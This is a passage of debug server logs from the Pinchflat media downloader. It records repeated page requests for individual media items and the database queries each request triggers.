m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:41:59.295 [info] Sent 200 in 1ms 15:42:00.067 [info] GET /sources/2/media/6113 15:42:00.068 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6113", "source_id" => "2"} Pipelines: [:browser] 15:42:00.068 [debug] QUERY OK source="media_items" db=0.1ms idle=774.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6113] 15:42:00.068 [debug] QUERY OK source="tasks" db=0.0ms idle=774.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6113] 15:42:00.068 [debug] QUERY OK source="sources" db=0.0ms idle=774.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:42:00.068 [debug] QUERY OK source="settings" db=0.0ms idle=774.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:00.069 [debug] QUERY OK source="settings" db=0.0ms idle=306.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:00.069 [debug] QUERY OK source="settings" db=0.0ms idle=0.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:00.069 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:00.070 [info] Sent 200 in 2ms 15:42:00.599 [info] GET /sources/2/media/6119 15:42:00.599 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6119", "source_id" => "2"} Pipelines: [:browser] 15:42:00.600 [debug] QUERY OK source="media_items" db=0.1ms idle=531.5ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6119] 15:42:00.600 [debug] QUERY OK source="tasks" db=0.0ms idle=531.6ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6119] 15:42:00.600 [debug] QUERY OK source="sources" db=0.1ms idle=531.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:42:00.600 [debug] QUERY OK source="settings" db=0.0ms idle=531.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:00.601 [debug] QUERY OK source="settings" db=0.0ms idle=531.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:00.601 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:00.601 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.1ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:00.602 [info] Sent 200 in 2ms 15:42:00.688 [info] {"source":"oban","duration":192,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 15:42:01.086 [info] GET /sources/3/media/6490 15:42:01.086 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6490", "source_id" => "3"} Pipelines: [:browser] 15:42:01.086 [debug] QUERY OK source="media_items" db=0.1ms idle=485.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6490] 15:42:01.087 [debug] QUERY OK source="tasks" db=0.1ms idle=485.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6490] 15:42:01.087 [debug] QUERY OK source="sources" db=0.2ms idle=485.0ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:42:01.087 [debug] QUERY OK source="settings" db=0.0ms idle=399.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:01.087 [debug] QUERY OK source="settings" db=0.0ms idle=324.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:01.087 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:01.088 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:01.089 [info] Sent 200 in 2ms 15:42:01.599 [info] GET /sources/3/media/6489 15:42:01.600 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6489", "source_id" => "3"} Pipelines: [:browser] 15:42:01.600 [debug] QUERY OK source="media_items" db=0.1ms idle=513.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6489] 15:42:01.600 [debug] QUERY OK source="tasks" db=0.0ms idle=513.1ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6489] 15:42:01.600 [debug] QUERY OK source="sources" db=0.1ms idle=512.9ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:42:01.601 [debug] QUERY OK source="settings" db=0.0ms idle=513.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:01.601 [debug] QUERY OK source="settings" db=0.0ms idle=512.7ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:01.601 [debug] QUERY OK source="settings" db=0.1ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:01.602 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:01.603 [info] Sent 200 in 3ms 15:42:02.119 [info] GET /sources/2/media/6117 15:42:02.119 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6117", "source_id" => "2"} Pipelines: [:browser] 15:42:02.119 [debug] QUERY OK source="media_items" db=0.1ms idle=518.4ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6117] 15:42:02.119 [debug] QUERY OK source="tasks" db=0.1ms idle=518.5ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6117] 15:42:02.119 [debug] QUERY OK source="sources" db=0.0ms idle=518.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:42:02.120 [debug] QUERY OK source="settings" db=0.0ms idle=518.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:02.120 [debug] QUERY OK source="settings" db=0.2ms idle=356.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:02.121 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:02.121 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.5ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:02.122 [info] Sent 200 in 2ms 15:42:02.671 [info] GET /sources/3/media/6487 15:42:02.671 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6487", "source_id" => "3"} Pipelines: [:browser] 15:42:02.671 [debug] QUERY OK source="media_items" db=0.1ms idle=551.9ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6487] 15:42:02.672 [debug] QUERY OK source="tasks" db=0.1ms idle=551.8ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6487] 15:42:02.672 [debug] QUERY OK source="sources" db=0.1ms idle=551.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:42:02.672 [debug] QUERY OK source="settings" db=0.0ms idle=551.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:02.672 [debug] QUERY OK source="settings" db=0.0ms idle=551.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:02.672 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:02.673 [debug] QUERY OK source="media_profiles" db=0.0ms idle=0.9ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:02.673 [info] Sent 200 in 2ms 15:42:03.133 [info] GET /sources/3/media/6488 15:42:03.133 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6488", "source_id" => "3"} Pipelines: [:browser] 15:42:03.134 [debug] QUERY OK source="media_items" db=0.1ms idle=461.2ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6488] 15:42:03.134 [debug] QUERY OK source="tasks" db=0.0ms idle=461.4ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6488] 15:42:03.134 [debug] QUERY OK source="sources" db=0.0ms idle=461.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 15:42:03.134 [debug] QUERY OK source="settings" db=0.0ms idle=461.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:03.134 [debug] QUERY OK source="settings" db=0.0ms idle=369.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:03.135 [debug] QUERY OK source="settings" db=0.0ms idle=1.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:03.135 [debug] QUERY OK source="media_profiles" db=0.0ms idle=1.2ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 15:42:03.136 [info] Sent 200 in 2ms 15:42:03.632 [info] GET /sources/2/media/6115 15:42:03.632 [debug] Processing with PinchflatWeb.MediaItems.MediaItemController.show/2 Parameters: %{"id" => "6115", "source_id" => "2"} Pipelines: [:browser] 15:42:03.632 [debug] QUERY OK source="media_items" db=0.1ms idle=498.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [6115] 15:42:03.632 [debug] QUERY OK source="tasks" db=0.0ms idle=498.3ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", t0."media_item_id" FROM "tasks" AS t0 WHERE (t0."media_item_id" = ?) ORDER BY t0."media_item_id" [6115] 15:42:03.633 [debug] QUERY OK source="sources" db=0.0ms idle=498.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [2] 15:42:03.633 [debug] QUERY OK source="settings" db=0.0ms idle=498.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:03.633 [debug] QUERY OK source="settings" db=0.0ms idle=497.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 15:42:03.633 [debug] QUERY OK source="settings" db=0.0ms idle=0.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 